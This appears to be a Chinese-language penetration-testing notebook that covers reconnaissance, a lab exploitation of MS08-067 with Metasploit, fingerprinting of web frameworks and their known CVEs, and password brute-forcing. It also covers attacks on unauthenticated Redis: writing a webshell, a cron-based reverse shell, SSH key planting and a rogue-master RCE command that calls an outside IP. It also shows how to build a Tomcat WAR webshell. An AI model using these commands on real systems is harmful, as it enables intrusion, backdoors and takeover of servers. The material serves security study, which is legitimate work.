网安笔记
子域名信息收集
子域名爆破(网站)
方便快捷,缺点是基本都是字典,一些奇怪的域名搜不出来
oneforall
能搜出来很多,缺点是速度很慢,占用资源很高,而且需要api,api获取倒是简单
IP信息收集
CDN
作用:负载均衡,让用户就近访问,提高响应速度和命中率
判断CDN
多地ping,如果IP显示不一致则使用了CDN,一般CDN服务昂贵,国外不会部署,可以使用国外ping来绕过CDN获取服务器真实IP
查询历史DNS记录
第一次绑定IP域名的时候,管理员一般不会买CDN,可以通过历史DNS记录来判断服务器IP
C段存活主机探测
端口信息收集
Nmap
官方中文介绍
其他信息收集
历史漏洞信息
http://wy.zone.ci/
https://wooyun.kieran.top/#!/
https://www.exploit-db.com/
https://wiki.0-sec.org/#/md
https://www.seebug.org
小实战
流程
靶机:WinXPenSP3-腾讯云开发者社区-腾讯云 (tencent.com)
探测靶机ip地址
1 | sudo arp-scan -l |
探测开放端口
使用nmap
1 | nmap -sV -p- 192.168.1.102 |
查询开放了哪些可攻击端口,举例:开放了端口139,445
,这是SMB协议
使用的端口,那么后面我们可以尝试使用nmap扫描smb相关漏洞
尝试通过SMB 协议确定操作系统、计算机名称、域、工作组和当前时间。
1 | sudo nmap --script=smb-os-discovery.nse 192.168.1.102 |
使用nmap扫描漏洞
1 | sudo nmap --script=smb-check-vulns-*.nse 192.168.1.102 |
漏洞利用&提权
MS08-067-漏洞利用
1)首先运行metasploit,使用search ms08-067寻找可利用的漏洞点
1 | sudo msfdb init && msfconsole |
2)使用攻击模块,使用show options查看我们需要设置的参数
1 | use exploit/windows/smb/ms08_067_netapi |
3)设置RHOSTS(远程IP),即靶机的ip,然后run或者exploit,成功Getshell
1 | set RHOSTS 192.168.1.102 |
MS08-067-提权
添加Administrators权限用户
1 | #添加hacker用户 |
可以看到成功添加了hacker用户
网站指纹识别
操作系统
- ping 判断 : TTL为128的一般是Windows。64为Linux。
- nmap:-O参数
- Windows大小写不敏感,Linux区分大小写(这里指的是网址)
网站服务\容器类型
- wappalyzer插件
- whatweb.net
脚本类型
php、jsp、asp\aspx、Python
数据库类型
mysql、sqlserver、access、oracle
CMS识别(内容文章管理系统)
常见CMS:dedecms(织梦)、Discuz、phpcms等
在线识别工具
http://whatweb.bugscaner.com/look/
eOnlinetools
https://github.com/iceyhexman/onlinetools
敏感文件及目录探测
github
git
svn
.DS Store
.hg
.bzr
CVS
WEB-INF
备份文件、
网站备份文件泄露指管理员误将网站备份文件或是敏感信息文件存放在某个网站目
录下。
https://github.com/7kbstorm/7kbscan-WebPathBrute
目录探测
- dirsearch:https://github.com/maurosoria/dirsearch
- 御剑后台扫描工具
- dirmap: https://github.com/H4ckForJob/dirmap
针对漏洞的信息泄露
网络Waf识别
Waf定义
- Web Application FireWall (Web应用防火墙)
Waf功能
- 防止常见的各类网络攻击,如:SQL注入、XSS跨站、CSRF、网页后门等;
- 防止各类自动化攻击,如:暴力破解、撞库、批量注册、自动发贴等
- 阻止其它常见威胁,如:爬虫、0 DAY攻击、代码分析、嗅探、数据篡改、越权访问、敏感信息泄漏、应用层DDOS、远程恶意包含、盗链、越权、扫描等。
Waf识别
渗透工具
AWVS
- 网页全自动检测漏洞工具
Burp
- 监控网页流量抓包
SQLmap
- 对sql数据库进行渗透
框架
Thinphp
特征:
历史漏洞
- ThinkPHP3.2.3 缓存函数设计缺陷可导致Getshell
- ThinkPHP5 SQL注入漏洞&&敏感信息泄露
- ThinkPHP3.2.3 最新版update注入漏洞
- ThinkPHP5.0.10缓存函数设计缺陷可导致Getshell
- ThinkPHP3.2.X find select delete注入
- ThinkPHP框架5.0.X sql注入漏洞分析
- ThinkPHP3.X order_by注入漏洞
- ThinkPHP5.X order_by注入漏洞
- ThinkPHP5.X 远程代码执行
利用
thinkPHP代码执行批量检测工具 (github.com)
Weblogic
特征:
端口:7001
Web界面:Error 404–Not Found
历史漏洞
- CVE-2017-10271
- CVE-2018-2628
- CVE-2018-2893
- CVE-2018-2894
- CVE-2018-3191
- CVE-2018-3245
- CVE-2019-2618
- CVE-2019-2725
- CVE-2019-2729
- CVE-2019-2890
- weblogic弱口令
- weblogic ssrf
- CVE-2020-2551
- CVE-2020-2883
- CVE-2020-2555
获取
- shodan fofa 钟馗之眼 等
1 | app="BEA-WebLogic-Server'" |
- google hacking
inurl:漏洞地址
intitle:weblogic
利用
Jboss
特征
获取
- shodan fofa 钟馗之眼 等
1 | app="Jboss" |
Jboss历史漏洞(访问控制不严导致的漏洞)
- JMX Console未授权访问Getshell
- JMX Console HtmlAdaptor Getshell(CVE-2007-1036)
- JMX控制台安全验证绕过漏洞(CVE-2010-0738)
- Administration Console 弱囗令 Getshell
利用
Struts
特征
通过网页后缀来进行判断,如.do或者.action
判断 /struts/webconsole.html是否存在来进行判断,需要 devMode 为 true.
获取
- shodan fofa 钟馗之眼 等
1 | app="Struts2" |
工具
Fastjson
识别
- 抓json包查看
Content-Type
的值是不是application/json
漏洞复现
Fastjson漏洞复现 - Saint_Michael - 博客园 (cnblogs.com)
shiro
历史漏洞
Shiro-550
Shiro-721
Shiro组件识别
- 抓包重放后,如果显示
rememberMe = deleteMe
,说明使用了该组件
- 没有就自己构造一条
工具
fupinglee/ShiroScan: Shiro RememberMe 1.2.4 反序列化漏洞图形化检测工具(Shiro-550) (github.com)
Redis
Redis历史漏洞
Redis未授权访问
因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据,其漏洞可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据,攻击者还可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接免密码登录服务器
Redis主从复制RCE
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言编译并加载恶意.so文件,达到代码执行的目的
Redis特征
- Redis 默认绑定在6379端口上
Redis发现
1 | nmap -v -Pn -p 6379 -sV --script="redis-info' |
- -v:显示过程
- -Pn: no ping
- -sV:版本探测
未授权访问(下载连接程序)
1 | wget http://download.redis.io/releases/redis-6.0.3.tar.gz |
未授权访问(写webshell)
1 | config set dir /var/www/html/ |
未授权访问(反弹shel)
1 | config set dir /var/spool/cron/crontabs |
未授权访问(写公钥)
1 | ssh-keygen -t rsa |
未授权访问(主从复制RCE)
https://github.com/vulhub/redis-rogue-getshell
1 | python3 redis-masterpy-r139.9.198.30-p 6380-L120.27.61.239 -P 1234 -f |
密码暴力破解
暴力破解字典
https://github.com/k8gege/PasswordDic
暴力破解常见工具
- Burpsuite
- shack2/SNETCracker
- Hydra
- Msf的
auxiliary/scanner/
系列模块
暴力破解应用场景
- 验证码
- 不含验证码后台
- 各种应用程序,比如:phpmyadmin、tomcat、mysql
- 各种协议:ftp、ssh、rdp等
- 爆破大马
Tomcat爆破
进行密码爆破
Getshell
制作方法:将isp马压缩成zip文件,再将zip后缀改为war
1 | cmd:jar -cvf*.war *.jsp |
Metasploit
kali-metasploit更新:
1 | msfconsole -v #查看版本 |
modules目录
1 | cd /usr/share/metasploit-framework/modules |
- auxiliary:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)
- exploits:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命名规则: 操作系统/各种应用协议分类
- payloads:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码
- post:后渗透阶段模块,漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令,如:提权等
- encoders:编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统
- evasion:躲避模块,用来生成免杀payload
- nops:由于IDS/IPS会检查数据包中不规则的数据,在某些情况下,比如针对溢出攻击,某些特殊滑行字符串(NOPS x90x90…)则会因为被拦截而导致攻击失效。
内网主机发现
- db nmap:nmap扫描
- -PA:TCP ACK PING扫描
- -PS:TCP SYN PING扫描
- -PR:ARP扫描是nmap对目标进行一个arp ping扫描的过程,尤其在内网的情况下。因为防火墙不会禁止ARP请求。
- hosts:当前工作区所有主机